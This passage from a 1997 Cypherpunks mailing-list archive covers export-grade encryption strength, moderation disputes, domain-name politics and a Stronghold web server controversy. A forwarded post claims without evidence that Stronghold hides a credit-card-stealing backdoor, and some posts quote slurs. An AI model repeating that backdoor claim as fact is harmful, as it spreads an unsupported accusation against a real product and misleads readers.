encryption, and argue that this would not be available to an
adversary. Once again, this assertion falls when examined in the light
of actual usage.

The purpose of an IV is to make dictionary and replay attacks more
difficult. It is not intended to prevent brute force attacks, and so
is _normally_ included in the clear in communications protocols (for
example, see RFC 1827 for it's clear transmission in IPSEC). If it
is not included, it is effectively part of the keying material, and
thus adds it's bits to the strength of the key. As such, its value
would have to be transmitted and protected as carefully as the rest of
the key.  

> >In summary: The claim of exportable cryptography being totally 
> >insecure, because it can be cracked in 3.5 hours is not 
> >realistic. The three clues announced in the contest 
> >would not apply under infowar conditions.

As I have shown above, Mr. Strassman's optimism is misplaced in the
case of actual, fielded use of encryption on the Internet. It may
apply to some classified systems, but they don't use exportable
cryptography anyway. A covert inforwar against commercial and private
targets is _quite_ plausible.

> >What other clues may have been provided to Goldberg
> >to  support private agendas and gain shrill headlines
> >is also a matter of speculation, but I rest my case.

What exactly is he hinting at here?

> >I certainly cannot assert that a 40 bit key cannot be decyphered.

Of course he can't. 40 bits of RC4 encryption (as used in the
exportable version of Netscape) was brute-forced not once, but three
separate times in the fall of 1995, the fastest effort taking about 28
hours. Today it could be done much more quickly, as Ian demonstrated
with RC5 (an algorithm of similar complexity).

> >However, I do not think that the RSA unqualified claims
> >offer full and appropriate disclosure.

I disagree. The RSA challenges accurately model the use of encryption
on the unclassified Internet. Ian's decryption of 40-bit RC5 is of
considerable importance in demonstrating the insecurity of American
citizens caused by Administration efforts to compromise exportable
encryption.

In my opinon, Mr. Strassman's assertions as to the strength of
exportable encryption are too dangerous to be left unchallenged.

> >Paul A. Strassmann
> >55 Talmadge Hill Road, New Canaan, CT. 06840
> >Telephone: 203-966-5505; Fax: 203-966-5506
> >INTERNET:                  paul@strassmann.com
> >WorldwideWeb:           http://www.strassmann.com

Peter Trei
ptrei@acm.org

Disclaimer: I am speaking as a knowlegable private citizen, not as
a representative of my employer. This posting represents my opinon
only.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Andrew Loewenstern <andrew_loewenstern@il.us.swissbank.com>
Date: Fri, 7 Feb 1997 10:49:56 -0800 (PST)
To: Charley Musselman <c.musselman@internetmci.com>
Subject: Re: anonymous remailers
In-Reply-To: <199702062301.PAA02208@toad.com>
Message-ID: <9702071849.AA01238@ch1d157nwk>
MIME-Version: 1.0
Content-Type: text/plain


Charley Musselman writes:
>  Does anyone know the answer?  Specifically, how can we choose
>  a trusted remailer?

The answer is to run your own remailer.  Make sure your chain includes your  
remailer at least once.  If you can't trust yourself, who can you trust?


andrew




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Fri, 7 Feb 1997 12:55:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My messages not appearing on either of the lists?
In-Reply-To: <Pine.SUN.3.91.970207112428.25330B-100000@crl.crl.com>
Message-ID: <199702072055.MAA29680@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


SANDY SANDFORT sez:

> On Fri, 7 Feb 1997, Mike Duvos wrote:

> > ...Messages apparently do not get moderated in the order in
> > which they are received...

> All messages are filtered and posted in the order in which I
> receive them.

That's all very nice, but I should point out that I have not yet
seen my message to which you are responding on the filtered list. 

Others mileage may vary. 

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Fri, 7 Feb 1997 12:58:24 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My messages not appearing on either of the lists?
In-Reply-To: <199702072055.MAA29680@netcom13.netcom.com>
Message-ID: <199702072058.MAA29945@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


In a previous message, I wrote:

> That's all very nice, but I should point out that I have not yet
> seen my message to which you are responding on the filtered list. 

It just trickled into my mailbox.  I take that back.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Fri, 7 Feb 1997 12:59:49 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: My messages not appearing on either of the lists?
In-Reply-To: <199702070655.WAA12884@toad.com>
Message-ID: <199702072059.MAA15672@netcom23.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>
>(It is true that Vulis uses the phrase "Limey faggots," in reference to
>beer-serving habits, but he does not directly insult any list members with
>this phrase. If Sandy is calling this phrase a flame, then Cypherpunks will
>be blocked from their usual characterizations of Congresscritters and NSA
>stooges.)

TCM defending Vulis, I think I've died and am in some strange
dreamworld. hehehehe





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Fri, 7 Feb 1997 13:04:10 -0800 (PST)
To: frogfarm@yakko.cs.wmich.edu (Damaged Justice)
Subject: Re: Metzger, Denninger square off
In-Reply-To: <199702071941.LAA29268@toad.com>
Message-ID: <199702072103.NAA09603@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


Damaged Justice writes:
> 
> [Forwarded from Wired news. Let's cut to the chase: Which side is in the
> right? Who can tell me, in plain and simple language, who is fighting for
> individual freedom and property rights, and who is not?]

>    [LINK] Foes Vow to Take Domain Name Fight to FCC
>    by Gene Koprowski
>    
>    5:01 pm PST 6 Feb 97 - A proposal by the International Ad Hoc
>    Committee (IAHC) to expand the number of Internet top-level domain
>    names is stirring opposition among alternative domain name providers.

[..]

>    Denninger said he received a leaked copy of the IACH proposal earlier
>    this week, and he and his colleagues are considering bringing their
>    protests to the FCC. "We're given open access under the telecom law,"
>    says Denninger. "We might talk to the FCC or the Clinton
>    administration about this." Barring that, Denninger will lobby
>    Internet service providers around the country, asking them not to
>    recognize the new GTLDs. "There is no reason to support it. We will do
>    everything in our power to convince ISPs not to go along," he says.



Karl's worried that the new GLTD system might mean that some sites
will be unreachable, so he's going to lobby ISPs to not accept the
new GLDTs to ensure that sites are unreachable?

This reminds me of the Vietnam era "We had to destroy the village in
order to save it."

If I didn't already think that Karl was an idiot, I'd sure think so after
reading this.


-- 
Eric Murray  ericm@lne.com  ericm@motorcycle.com  http://www.lne.com/ericm
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Fri, 7 Feb 1997 13:15:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: automated moderation system
Message-ID: <199702072115.NAA20550@netcom23.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



here's an idea for a simple "moderation" system with no
one-moderator bottleneck/choke point. I'm trying to come
up with a constructive solution with cyberspatial spirit.
please send me email if you would be willing to try this system. 
flames ignored. if there is enough support I may be able to
persuade a friend to write the code to do this.

a new mailing list is set up, one that gets posts from a
noisy mailing list. it filters the mail according to user
preferences, and sends it out to its own subscribers. the
filtering scheme is as follows:

a web site is set up that allows people to express their
own preferences as to who they wish to listen to in particular,
and who they wish to killfile, based on email address. 
first, they hit the web site
and have it send them a secret password to their email address.
then they use that password to edit their "pass" and "zap"
lists. (the password is for authentication)

now, the mailing list works as follows. people always receive
posts from people they put on their "pass" lists. mail from
entities on their "zap" lists is always trashed.

why are the lists kept on the server? the usefulness of this
scheme is that now you have information about all entities,
the number of votes to "pass" each entity, and the number of
votes to "zap" each entity. now lets say that the system is
considering sending me mail from someone that is neither on
my pass or zap lists. I have no personal info on it, but the
system could use the votes in some algorithmic way to decide
whether to send it to me or not. various experiments could
be tried to come up with a good scheme.

 my preference is at
the moment something like this: every person indicates how
much mail they wish to recieve from the list, and how much
of a delay is acceptable. the system uses this information
and the "pass/zap" ratio (or difference) to send out the
"highest rated" messages in a given time window. during
low list traffic, the messages that pass through would be
ranked lower. or, the system could have a ranking threshold
set by each individual user below which it will never pass 
the email.

my feeling is to keep these lists public, although the scheme
would allow a system that kept them private. of course I will
be flamed for this.

the system of course is essentially a reputation system, something
everyone here talks about but nobody really seems to know what
one is or how to set one up.

anyway, I hope to hear from anyone with comments. if you might
be able to support a cgi web site for the idea, please let me
know. technically the system is pretty straightforward. my 
experience with these systems is that the great difficulty is
getting people to try them, the "critical mass" problem.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Fri, 7 Feb 1997 10:22:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: Metzger, Denninger square off
Message-ID: <199702071824.NAA05470@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text/plain




[Forwarded from Wired news. Let's cut to the chase: Which side is in the
right? Who can tell me, in plain and simple language, who is fighting for
individual freedom and property rights, and who is not?]

   [LINK] Foes Vow to Take Domain Name Fight to FCC
   by Gene Koprowski
   
   5:01 pm PST 6 Feb 97 - A proposal by the International Ad Hoc
   Committee (IAHC) to expand the number of Internet top-level domain
   names is stirring opposition among alternative domain name providers.
   
   Opponents call the plan "unenforceable," and are considering filing a
   protest with the Federal Communications Commission, indicating that
   the IAHC policy might violate the 1996 Telecommunication Act's open
   access provisions.
   
   "We didn't want to have to get my guns, rifles, and bombs out - but
   now we have to," Carl Denninger, president of Macro Computer
   Solutions, Chicago, a long-time opponent of IACH, tells Wired News.
   "If someone doesn't point a revolver at them, they will be able to do
   whatever they want to do."
   
   On Tuesday, the intergovernmental body issued a proposal to expand the
   number of generic top-level domains (GTLDs), adding seven new listings
   in addition to the existing ones, which include the familiar .com,
   .net, and .org. The new GTLDs would include .firm, for businesses;
   .store, for retail businesses; .web, for Web-related companies; .arts,
   for cultural organizations; .rec, for recreation and entertainment
   facilities; .info, for information services; and .nom, for
   individuals.
   
   Perry Metzger, a member of the IAHC board, said that the organization,
   whose members include the International Telecommunications Union and
   the World Intellectual Property Organization, will likely formally
   approval the proposal very quickly. "This is not a done deal. The
   paperwork needs to be signed. An association to handle this has to be
   set up," says Metzger. "But it will go forward very soon. I'm sure
   plenty of people will not be in favor of it. But the question is: What
   can they do to stop it?"
   
   The answer is plenty, says Denninger. He and others, like Eugene
   Kashpureff of Alternic, have long fought the IAHC's attempts to expand
   the number of GTLDs. They think the creation of these new categories
   may lead to trademark infringement and other intellectual property
   problems. They also think the new domain names will "fragment" the
   Internet, leaving some users unable to communicate with others, if a
   server does not recognize the name request.
   
   Denninger said he received a leaked copy of the IACH proposal earlier
   this week, and he and his colleagues are considering bringing their
   protests to the FCC. "We're given open access under the telecom law,"
   says Denninger. "We might talk to the FCC or the Clinton
   administration about this." Barring that, Denninger will lobby
   Internet service providers around the country, asking them not to
   recognize the new GTLDs. "There is no reason to support it. We will do
   everything in our power to convince ISPs not to go along," he says.
   
   As part of that, he is launching a national public relations and
   lobbying campaign to alert the Internet community about the IACH
   proposal. [LINK]
   
        Copyright (c) 1993-97 Wired Ventures, Inc. and affiliated companies.
        All rights reserved.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Fri, 7 Feb 1997 13:24:03 -0800 (PST)
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: My messages not appearing on either of the lists?
In-Reply-To: <199702070655.WAA12884@toad.com>
Message-ID: <v03007801af214e8df513@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 12:59 PM -0800 2/7/97, Vladimir Z. Nuri wrote:
>>
>>(It is true that Vulis uses the phrase "Limey faggots," in reference to
>>beer-serving habits, but he does not directly insult any list members with
>>this phrase. If Sandy is calling this phrase a flame, then Cypherpunks will
>>be blocked from their usual characterizations of Congresscritters and NSA
>>stooges.)
>
>TCM defending Vulis, I think I've died and am in some strange
>dreamworld. hehehehe

I'm arguing against two things:

1. The basic notion of centralized moderation, with the name "Cypherpunks"
now closely associated with a Big Brotherish, "we know what's better for
you than you do" sort of censorship.

2. The apparently careless and inconsistent way Sandy is censoring posts.
As others have also noted, non-flamish posts are being sent to the Flames
list. A censor who will not take the time to read the list traffic on a
continuing basis, e.g., by spending the several hours a day on it that many
of us spend (or used to spend), is not suited to be a censor. I suggested
at the time of his self-appointment to the role of Censor that Sandy would
not devote the needed time to this task. (Not that this makes censorship
OK, mind you.)

I'm not defending Vulis per se, and I continue to think Vulis is a twit.
But one of the goals Vulis apparently set out to accomplish (just as you
did a couple of years ago, Larry) was to force the list to start censoring
itself, even to force the list to shut down.

It seems likely that Vulis is quite happy with the outcome here.

--Tim May



Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 7 Feb 1997 11:00:08 -0800 (PST)
To: cypherpunks@toad.com
Subject: Project 25 Radio
Message-ID: <1.5.4.32.19970207185418.006ee0e4@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


The National Communications Systems published in the
Federal Register of February 6, a notice of FTR1024 
covering Land Mobile Radio, Project 25. The recommentation
specifies encryption: DES (Type 3) and Type 1 for classified use. 
The specifications are based on seven public TIA documents 
and one classified NSA document.

   "This recommendation is intended to facilitate interoperability 
   among telecommunication facilities and systems of the Federal 
   Government."

The official document is available in PDF format at:

   http://members.aol.com/Project25/1024.pdf

We've prepared a hypertext version:

   http://jya.com/ftr1024.htm







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Fri, 7 Feb 1997 13:49:52 -0800 (PST)
To: cypherpunks@toad.com
Subject: More on the Stronghold Charge
In-Reply-To: <v03007801af20611fe990@[207.167.93.63]>
Message-ID: <v03007803af21536e1a68@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


Vulis has sent me private mail, which I won't quote here because of the
usual netiquette standards that private mail not be quoted (though it's
legal to do so). He asserts that a few weeks ago he sent criticisms of
Stronghold out to the Cypherpunks list, and the criticisms did not appear
on any of the distributed lists.

He claims he then received communications from C2Net of a legal nature,
threatening him with legal action. I'll let Vulis elaborate if he wishes,
as I don't know the situation. And I encourage him to do so, for more than
one reason.

As I just replied to "Against Moderation" on, I would like to see these
articles which were suppressed. Please repost them to the list, and copy me
to ensure that I get them.

If this claim is true, that Sandy blocked criticism of Stronghold from
reaching either the Main list (bad enough), or from even going out at all
on the Flames list (reprehensible), then this is an extremely serious
charge.

If the claim is true that Sandy used articles sent to the Cypherpunks list,
but never distributed to the list, as the basis by the company which
employs him of legal threats of any kind, then this is even more than just
"extremely serious."

I would like to hear more from Vulis, and copies of any such articles, and
of course would like to hear Sandy's version of things.

This is too serious a charge not to resolve.

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Fri, 7 Feb 1997 14:13:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: IEEE Communications
Message-ID: <v02140b07af2159ded614@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>A friend called this evening to let me know the February issue is dedicated
>to electronic cash and its implications.  I'm no longer an IEEE member.  If
>any of the various list members care to excerpt and comment on some of the
>more interesting portions, I'm sure it would be appreciated.
>
>--Steve

Correction: It's the February issue of IEE Spectrum, subtitled "Technology
and the Electronic Economy."

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Fri, 7 Feb 1997 14:25:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: Crack a Mac and win a fortune.
Message-ID: <v03010d04af215b76f3a8@[17.202.40.158]>
MIME-Version: 1.0
Content-Type: text/plain


A Swedish company, http://www.infinit.se/hacke/crack.html
is offering a 10,000 Swedish Kronor reward to the first
person to successfully attack (change information on) their
web server. See their press release at
   http://www.infinit.se/hacke/release.html
for details and the URL of the system to hack.

Martin Minow
minow@apple.com






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Gr8SClaus@aol.com
Date: Fri, 7 Feb 1997 11:57:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: Hello, Duncan
Message-ID: <970207004535_-1442662479@emout08.mail.aol.com>
MIME-Version: 1.0
Content-Type: text/plain


I saw your listing for accessing senior citizens newsgroups through
compuserve.
Do you think, by chance, that the same would be possible through america
online?
I'm a senior citizen of 59 but find myself liking middle age to older and
find the only source on line (that i can locate as am anateur) is netpics.com
and you have to pay for this service.  But I do enjoy looking at older GUYS
and find mostly girls--even on netpics.

Thanks.
Dave




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Fri, 7 Feb 1997 14:53:34 -0800 (PST)
To: Against Moderation <antimod@nym.alias.net>
Subject: Re: Is Sandy really censoring criticisms of Stronghold, hisproduct?
In-Reply-To: <19970207220720.15530.qmail@anon.lcs.mit.edu>
Message-ID: <v03007804af2160f848b5@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 10:07 PM +0000 2/7/97, Against Moderation wrote:
>Okay, I went through my old mail, and I'm fairly sure this is the
>message.  I'm convinced it never went to the flames list, and now that
>I've found out I'm on the -unedited list after all, I think it
>probably didn't go to the regular cypherpunks list either.  Can people
>on the various lists confirm this for me?

I checked the archive site (http://infinity.nus.sg/cypherpunks) for the
"main" (censored) list, and do not see it there, either by title or by
author.

I only recently subscribed to the Flames list, so I cannot check to see if
it went there. Anyone else check the Flames list?

As I said in my last messages, if this message went to neither the Main
list nor the Flames list, then a very serious problem has been exposed.

Further, if the post, while not being sent to either of the nominal lists
which filtered stuff is supposed to go to, was used as the basis of legal
threats by the employer of Sandy, the list's censor, then dramatically more
serious implications seem evident. I await Sandy's views with great
anticipation.

The message itself does not look flamish to me. It makes charges, but so do
a zillion other posts. It cannot be the job of a censor to decide on what
is true and what is not true.

>Given the total lack of technical content, the flamey nature of the

It's not "flamey." Nobody is called a cocksucker, nobody is called  a
faggot, etc. Yes, it claims a product has a trojan horse, but this is a
claim comparable to other claims routinely made on list and newsgroups.

I'm also neither stupid nor disingenuous. I realize full well that Vulis
probably made the claim because he knows Sandy works for the seller of
Stronghold. Be that as it may, it is not proper for a censor employed by
the seller of a product to decide that criticisms of his product are
flamish. Would the list have countenanced censorship of criticisms of an
RSADSI product if the list were being censored by an employee of RSADSI?
And by letting Vulis make such a claim, and then having it quickly rebutted
by other employees of C2Net, for example, Vulis would be shown to be
spreading disinformation and his reputation capital would decline still
further.

If in fact the Vulis claim never made it either of the two lists to which
all filtered messages are supposed to be sorted, then deception has
occurred. And a conflict of interest.

Again, I await Sandy's response.

>A lot of people out there are subscribing to the cypherpunks-flames
>and cypherpunks lists thinking that they will see everything that gets
>rejected (albeit with a substantial delay).  If this is not the case,
>it should be made clear.  Otherwise, it's not moderation, but
>dishonesty.

Indeed.

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ed.Falk@Eng.Sun.COM (Ed Falk)
Date: Fri, 7 Feb 1997 15:50:30 -0800 (PST)
To: cypherpunks-announce@toad.com
Subject: Re: ANNOUNCEMNT: February 1997 keysigning session
Message-ID: <199702072349.PAA20677@peregrine.eng.sun.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

We have enough people who want to have a PGP keysigning session at
tommorrow's meeting to make it worthwhile.  We'll probably be doing
it at 17:00 or thereabouts.

If you want to join in, let me know ASAP.  Include your key or a pointer
to where I can download it.

	-ed falk

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

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=rWsE
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 7 Feb 1997 07:19:01 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: 40-bit RC5 crack meaningless??
Message-ID: <199702071508.QAA05145@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Over on sci.crypt, Paul C. Kocker <pck@netcom.com> gave a clear and
confident response to a query about the statistical difference between a
brute force attack on a known Russian or English text, versus a similar
attack on cyphertext with a known-plaintext sample (Strassmann's tell-tale
Clue #3.)

Said Kocher:

The difference is negligable.  With English text encrypted under
a 64-bit block cipher, you know that the most significant
bit of each of the 8 bytes in the block should be zero.  For a
wrong key, there is a 255/256 probability that at least one of
these bits will be nonzero, allowing immediate rejection of
the key.  Keys which do produce all zero bits get tested on
additional blocks until the key is either deemed correct or
rejected.  The extra overhead per wrong key is the sum from
i=1 to infinity of i*(1/256^i), or under 0.4 percent.

In practice, the slowdown is actually a couple of percent, since
it complicates the skip-the-last-Fiestel-round optimization. Also,
the 1/256 case requires running extra code, which can fill the
microprocessor's cache with code which isn't part of
the main loop, slowing things down a bit when the computer
goes back to the main search.

Cheers,
Paul

____________________________________      http://www.cryptography.com
Paul Kocher (pck@netcom.com)       |     Voicemail: +1-(415)-354-8004
Crypto consultant                  |           FAX: +1-(415)-321-1483






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Quantum Communications <sales@quantumcom.net>
Date: Fri, 7 Feb 1997 14:42:11 -0800 (PST)
To: "cwozniak@aol.com>
Subject: Customers For You!!!
Message-ID: <199702072120.QAA09988@slade.quantumcom.net>
MIME-Version: 1.0
Content-Type: text/plain


The following message has been brought to you by Quantum Communications.
If you would like advertising rates and information, send an email to info@quantcom.com
or visit our website http://www.quantcom.com
If you prefer NOT to receive promotional messages inthe future, send an email to 
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(603) 772-4096, or send an email to info@quantcom.com. When requesting
info via email, please be sure to include your voice phone # and best
time to call, unless you would prefer not to be contacted via
telephone to follow up.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David E. Smith" <dsmith@prairienet.org>
Date: Fri, 7 Feb 1997 14:58:30 -0800 (PST)
To: "Vladimir Z. Nuri" <vznuri@netcom.com>
Subject: Re: automated moderation system
Message-ID: <3.0.32.19970207164355.006949b4@midwest.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 01:15 PM 2/7/97 -0800, you wrote:

[... re: a auto moderations system...]
>now, the mailing list works as follows. people always receive
>posts from people they put on their "pass" lists. mail from
>entities on their "zap" lists is always trashed.
This much, you can do on your own.  Just filter "zap" messages to
/dev/null or somesuch.  (But I see its purpose; keep reading.)

[... using other's pass/zap lists as reputation markers...]
It's a good idea in theory, but would put a lot of load on the server.
For every message * every list subscriber, it has to _at_least_
look up the pass/zap criteria, and possibly do some number-
crunching based on the whole database of pass/zap lists, and keep
track of how long each message has been sitting in the queue
and its ratings by other people.

Also, Mallet could skew the reputations by subscribing with a dozen other
addresses (which M. created just to get the extra "votes"), decide
to have all of them "zap" Alice, and then Bob might never see
Alice's intelligent and thoughtful messages.  (Presumably, Mallet
keeps the bogus addresses subscribed, just dumping all mail into the
bitbucket; any user who leaves the list shouldn't have any weight
in the calculations any longer.)

This also doesn't even address anonymous remailers; Chuck and Dave
might both use the same remailer, even though Chuck only posts
good, meaningful messages (in whatever context) and Dave only
posts flaming ASCII art :)

dave (who doesn't post flaming ascii art, honest)
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-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David E. Smith" <dsmith@prairienet.org>
Date: Fri, 7 Feb 1997 14:58:39 -0800 (PST)
To: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Subject: Re: Metzger, Denninger square off
Message-ID: <3.0.32.19970207165402.00688998@midwest.net>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 01:24 PM 2/7/97 -0500, you wrote:

>[Forwarded from Wired news. Let's cut to the chase: Which side is in the
>right? Who can tell me, in plain and simple language, who is fighting for
>individual freedom and property rights, and who is not?]
Hee... I think they're both just after money.

>   5:01 pm PST 6 Feb 97 - A proposal by the International Ad Hoc
>   Committee (IAHC) to expand the number of Internet top-level domain
>   names is stirring opposition among alternative domain name providers.
Well, of course. AlterNIC does charge a few bucks for registering in
some of their TLDs.  I'm not sure about the other alternative-name
servers, but somehow I doubt it's a charity program.  And of course
we all know about InterNIC's cash cow...

[the proposed new TLDs]
.firm  
.store  Somehow, these two look rather similar to me.

.web    Actually a good idea :) A lot of the .com congestion is
        from companies that are virtually-hosted for the sole
        purpose of running a Web site with the www. prefix.

.arts   
.rec
.info   How many of these would fit into the .org (or even .us) domains?

.nom    Nah. Just not classy enough.  Now, a .nym TLD... :-)

>   They also think the new domain names will "fragment" the
>   Internet, leaving some users unable to communicate with others, if a
>   server does not recognize the name request.
How so?  AlterNIC et al. aren't exactly globally recognized anyway.
If we're going to have more TLDs, it's at least less "bad" to have them
coming from the place where names have been coming from anyway (InterNIC).
No matter what, it'll be a long time before _any_ new TLDs are
universally recognized, just because somewhere, someone's sysadmin
is asleep at the wheel.  (Probably at my ISP :)

dave
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "huilam" <huilam@pl.jaring.my>
Date: Fri, 7 Feb 1997 01:16:15 -0800 (PST)
To: <cypherpunks@toad.com>
Subject: No Subject
Message-ID: <199702070916.RAA10141@relay6.jaring.my>
MIME-Version: 1.0
Content-Type: text/plain


How to get off this mail-listing ??

Regards,
Hui Lam
Email:huilam@pl.jaring.my  
Homepage:<http://www.geocities.com/heartland/8642/>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Fri, 7 Feb 1997 14:29:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: More on Stronghold Charge - 1
Message-ID: <1.5.4.32.19970207222314.006ca6f0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Return-Path: cypherpunks-errors@toad.com
To: cypherpunks@toad.com
Subject: Disappearing articles?
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Comments: All power to the ZOG!
Date: Fri, 31 Jan 97 10:39:11 EST
Organization: Brighton Beach Boardwalk BBS, Forest Hills, N.Y.
Sender: owner-cypherpunks@toad.com

We already know that Sandy's bot automatically discards submissions from
people he doesn't like, irrespective of contents. In the past the rejected
articles were tossed to the "flames" list.  Now Sandy has gone one step 
further.  The following article criticized the product Sandy is paid to
peddle. It showed up on the 'unedited' list, but Sandy hated its contents
so much that it hasn't made it to EITHER censored or the 'flames' list!

This is the beginning of the censored article:

To: cypherpunks@toad.com
Subject: Security alert!!!
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Comments: All power to the ZOG!
Message-Id: <aw5c2D4w165w@bwalk.dm.com>
Date: Thu, 30 Jan 97 16:15:21 EST
Organization: Brighton Beach Boardwalk BBS, Forest Hills, N.Y.
Sender: owner-cypherpunks@toad.com
Precedence: bulk

WARNING: There's a rogue trojan horse out there on the internet known as the
"stronghold web server".  It's actually a hacked-up version of Apache with a
backdoor, which allows hackers (or whoever knows the backdoor) to steal credit
card numbers and other confidentil information on the Internet.

Be careful! Always use encryption. Do not send confidential information 9such
as passwords and credit card numbers) to any site running the trojan horse
"stronghold". 

In general, beware of "snake oil" security products and hacked-up versions of
free software.

Please repost this warning to all relevant computer security forums.

(rest snipped to save bandwidth)

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: harka@nycmetro.com
Date: Fri, 7 Feb 1997 14:18:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: Unix Network Monitor...
Message-ID: <TCPSMTP.17.2.7.-15.25.12.2780269260.1507893@nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

For those, who might be interested...

== Forwarded Message Follows =========================================

Subject: SOFT> The Big Brother Unix Network Monitor

Date: Wed, 5 Feb 1997 13:26:51 -0600
From: sean@iti.qc.ca

http://www.iti.qc.ca/iti/users/sean/bb-dnld/

Big Brother is a free web-based Unix network monitoring tool.  It watches
disk space, CPU loads, important processes, Web servers, and connectivity
and can page you if something really horrible happens.  Free. Includes all
source code.  Version 1.03

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

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=twyY
-----END PGP SIGNATURE-----


If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: inc@jps.net (linda wilson)
